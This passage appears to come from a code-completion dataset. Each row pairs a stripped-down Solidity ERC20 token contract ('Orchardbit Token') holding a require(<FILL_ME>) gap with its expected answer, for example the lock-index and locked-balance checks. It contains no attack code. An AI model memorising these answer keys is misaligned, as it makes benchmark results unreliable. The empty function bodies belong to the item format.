* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint value) internal {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function _transferFrom(address from, address to, uint value) internal {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint value) internal {
}
/**
* @dev Internal function that burns an amount of the token of the owner
* account.
* @param value The amount that will be burnt.
*/
function _burn(uint value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint value) internal {
}
}
/**
* @title MintableToken
* @dev Minting of total balance
*/
contract MintableToken is StandardToken {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint
* @return A boolean that indicated if the operation was successful.
*/
function mint(address to, uint amount) public whenNotPaused onlyOwner canMint returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public whenNotPaused onlyOwner canMint returns (bool) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint value) public whenNotPaused onlyOwner returns (bool) {
}
}
/**
* @title LockableToken
* @dev locking of granted balance
*/
contract LockableToken is BurnableToken {
using SafeMath for uint;
/**
* @dev Lock defines a lock of token
*/
struct Lock {
uint amount;
uint expiresAt;
}
mapping (address => Lock[]) public grantedLocks;
/**
* @dev Transfer tokens to another
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transfer(address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Function to add lock
* @param granted The address that will be locked.
* @param amount The amount of tokens to be locked
* @param expiresAt The expired date as unix timestamp
*/
function addLock(address granted, uint amount, uint expiresAt) public onlyOwnerOrOperator {
}
/**
* @dev Function to delete lock
* @param granted The address that was locked
* @param index The index of lock
*/
function deleteLock(address granted, uint8 index) public onlyOwnerOrOperator {
}
/**
* @dev Verify transfer is possible
* @param from - granted
* @param value - amount of transfer
*/
function _verifyTransferLock(address from, uint value) internal view {
}
/**
* @dev get locked amount of address
* @param granted The address want to know the lock state.
* @return locked amount
*/
function getLockedAmount(address granted) public view returns(uint) {
}
}
/**
* @title Orchardbit Token
* @dev ERC20 Token
*/
contract OrchardbitToken is LockableToken {
string public constant name = "Orchardbit Token";
string public constant symbol = "OBT";
uint32 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1000000000e18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
}
function transferWithLocks(address granted, uint amount, uint[] memory lockAmounts, uint[] memory lockTimes) public onlyOwnerOrOperator {
}
}
| _isOperator(noMoreOperator) | 129,392 | _isOperator(noMoreOperator) |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint);
function balanceOf(address who) public view virtual returns (uint);
function transfer(address to, uint value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view virtual returns (uint);
function transferFrom(address from, address to, uint value) public virtual returns (bool);
function approve(address spender, uint value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev Owner validator
*/
contract Ownable {
address private _owner;
address[] private _operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorAdded(address indexed newOperator);
event OperatorRemoved(address indexed previousOperator);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @return the address of the operator matched index
*/
function operator(uint index) public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or operator.
*/
modifier onlyOwnerOrOperator() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @return true if `msg.sender` is the operator of the contract.
*/
function isOperator() public view returns (bool) {
}
/**
* @return true if address `granted` is the operator of the contract.
*/
function _isOperator(address granted) internal view returns (bool) {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Add newOperator.
* @param newOperator The address to operate additonally.
*/
function addOperator(address newOperator) public onlyOwner {
}
/**
* @dev Remove Operator.
* @param noMoreOperator The address not to operate anymore.
*/
function removeOperator(address noMoreOperator) public onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
/**
* @return True if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyOwnerOrOperator whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyOwnerOrOperator whenPaused {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
}
}
/**
* @title StandardToken
* @dev Base Of token
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowed;
uint private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view override returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint value) internal {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function _transferFrom(address from, address to, uint value) internal {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint value) internal {
}
/**
* @dev Internal function that burns an amount of the token of the owner
* account.
* @param value The amount that will be burnt.
*/
function _burn(uint value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint value) internal {
}
}
/**
* @title MintableToken
* @dev Minting of total balance
*/
contract MintableToken is StandardToken {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint
* @return A boolean that indicated if the operation was successful.
*/
function mint(address to, uint amount) public whenNotPaused onlyOwner canMint returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public whenNotPaused onlyOwner canMint returns (bool) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint value) public whenNotPaused onlyOwner returns (bool) {
}
}
/**
* @title LockableToken
* @dev locking of granted balance
*/
contract LockableToken is BurnableToken {
using SafeMath for uint;
/**
* @dev Lock defines a lock of token
*/
struct Lock {
uint amount;
uint expiresAt;
}
mapping (address => Lock[]) public grantedLocks;
/**
* @dev Transfer tokens to another
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transfer(address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Function to add lock
* @param granted The address that will be locked.
* @param amount The amount of tokens to be locked
* @param expiresAt The expired date as unix timestamp
*/
function addLock(address granted, uint amount, uint expiresAt) public onlyOwnerOrOperator {
}
/**
* @dev Function to delete lock
* @param granted The address that was locked
* @param index The index of lock
*/
function deleteLock(address granted, uint8 index) public onlyOwnerOrOperator {
require(<FILL_ME>)
uint len = grantedLocks[granted].length;
if (len == 1) {
delete grantedLocks[granted];
} else {
if (len - 1 != index) {
grantedLocks[granted][index] = grantedLocks[granted][len - 1];
}
grantedLocks[granted].pop();
}
}
/**
* @dev Verify transfer is possible
* @param from - granted
* @param value - amount of transfer
*/
function _verifyTransferLock(address from, uint value) internal view {
}
/**
* @dev get locked amount of address
* @param granted The address want to know the lock state.
* @return locked amount
*/
function getLockedAmount(address granted) public view returns(uint) {
}
}
/**
* @title Orchardbit Token
* @dev ERC20 Token
*/
contract OrchardbitToken is LockableToken {
string public constant name = "Orchardbit Token";
string public constant symbol = "OBT";
uint32 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1000000000e18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
}
function transferWithLocks(address granted, uint amount, uint[] memory lockAmounts, uint[] memory lockTimes) public onlyOwnerOrOperator {
}
}
| grantedLocks[granted].length>index | 129,392 | grantedLocks[granted].length>index |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint);
function balanceOf(address who) public view virtual returns (uint);
function transfer(address to, uint value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view virtual returns (uint);
function transferFrom(address from, address to, uint value) public virtual returns (bool);
function approve(address spender, uint value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev Owner validator
*/
contract Ownable {
address private _owner;
address[] private _operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorAdded(address indexed newOperator);
event OperatorRemoved(address indexed previousOperator);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @return the address of the operator matched index
*/
function operator(uint index) public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or operator.
*/
modifier onlyOwnerOrOperator() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @return true if `msg.sender` is the operator of the contract.
*/
function isOperator() public view returns (bool) {
}
/**
* @return true if address `granted` is the operator of the contract.
*/
function _isOperator(address granted) internal view returns (bool) {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Add newOperator.
* @param newOperator The address to operate additonally.
*/
function addOperator(address newOperator) public onlyOwner {
}
/**
* @dev Remove Operator.
* @param noMoreOperator The address not to operate anymore.
*/
function removeOperator(address noMoreOperator) public onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
/**
* @return True if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyOwnerOrOperator whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyOwnerOrOperator whenPaused {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
}
}
/**
* @title StandardToken
* @dev Base Of token
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowed;
uint private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view override returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint value) internal {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function _transferFrom(address from, address to, uint value) internal {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint value) internal {
}
/**
* @dev Internal function that burns an amount of the token of the owner
* account.
* @param value The amount that will be burnt.
*/
function _burn(uint value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint value) internal {
}
}
/**
* @title MintableToken
* @dev Minting of total balance
*/
contract MintableToken is StandardToken {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint
* @return A boolean that indicated if the operation was successful.
*/
function mint(address to, uint amount) public whenNotPaused onlyOwner canMint returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public whenNotPaused onlyOwner canMint returns (bool) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint value) public whenNotPaused onlyOwner returns (bool) {
}
}
/**
* @title LockableToken
* @dev locking of granted balance
*/
contract LockableToken is BurnableToken {
using SafeMath for uint;
/**
* @dev Lock defines a lock of token
*/
struct Lock {
uint amount;
uint expiresAt;
}
mapping (address => Lock[]) public grantedLocks;
/**
* @dev Transfer tokens to another
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transfer(address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Function to add lock
* @param granted The address that will be locked.
* @param amount The amount of tokens to be locked
* @param expiresAt The expired date as unix timestamp
*/
function addLock(address granted, uint amount, uint expiresAt) public onlyOwnerOrOperator {
}
/**
* @dev Function to delete lock
* @param granted The address that was locked
* @param index The index of lock
*/
function deleteLock(address granted, uint8 index) public onlyOwnerOrOperator {
}
/**
* @dev Verify transfer is possible
* @param from - granted
* @param value - amount of transfer
*/
function _verifyTransferLock(address from, uint value) internal view {
uint lockedAmount = getLockedAmount(from);
uint balanceAmount = balanceOf(from);
require(<FILL_ME>)
}
/**
* @dev get locked amount of address
* @param granted The address want to know the lock state.
* @return locked amount
*/
function getLockedAmount(address granted) public view returns(uint) {
}
}
/**
* @title Orchardbit Token
* @dev ERC20 Token
*/
contract OrchardbitToken is LockableToken {
string public constant name = "Orchardbit Token";
string public constant symbol = "OBT";
uint32 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1000000000e18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
}
function transferWithLocks(address granted, uint amount, uint[] memory lockAmounts, uint[] memory lockTimes) public onlyOwnerOrOperator {
}
}
| balanceAmount.sub(lockedAmount)>=value | 129,392 | balanceAmount.sub(lockedAmount)>=value |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.